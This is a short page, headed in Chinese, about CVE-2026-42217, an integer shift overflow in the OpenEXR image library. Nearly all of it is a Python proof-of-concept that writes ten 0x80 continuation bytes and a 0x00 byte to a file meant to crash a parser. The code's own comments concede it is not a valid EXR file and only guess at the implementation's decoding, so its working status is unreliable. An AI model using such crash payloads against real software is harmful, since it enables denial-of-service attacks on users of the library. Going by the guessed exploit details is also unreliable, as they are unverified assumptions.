CVE-2026-42217 OpenEXR 整数移位溢出漏洞

import struct # PoC to generate bytes triggering the shift overflow. # This constructs a variable length integer that causes a shift > 64. # The specific byte sequence depends on OpenEXR's implementation, # typically involving a series of continuation bytes (0x80) followed by data. # Create a payload with enough continuation bytes to force a large shift. # Assuming the implementation shifts 'value' by 7 for each continuation byte. # To shift by 70, we need enough bytes. payload_bytes = b'' # 10 continuation bytes * 7 bits = 70 bits shift for _ in range(10): payload_bytes += b'\x80' payload_bytes += b'\x00' # Final byte with open('crash_exr.exr', 'wb') as f: # Note: This is a raw payload. In a real scenario, it must be embedded # into a valid EXR file structure (header, attributes, offset table). # For demonstration, we write the raw bytes that trigger the logic. f.write(payload_bytes) print("PoC file generated: crash_exr.exr")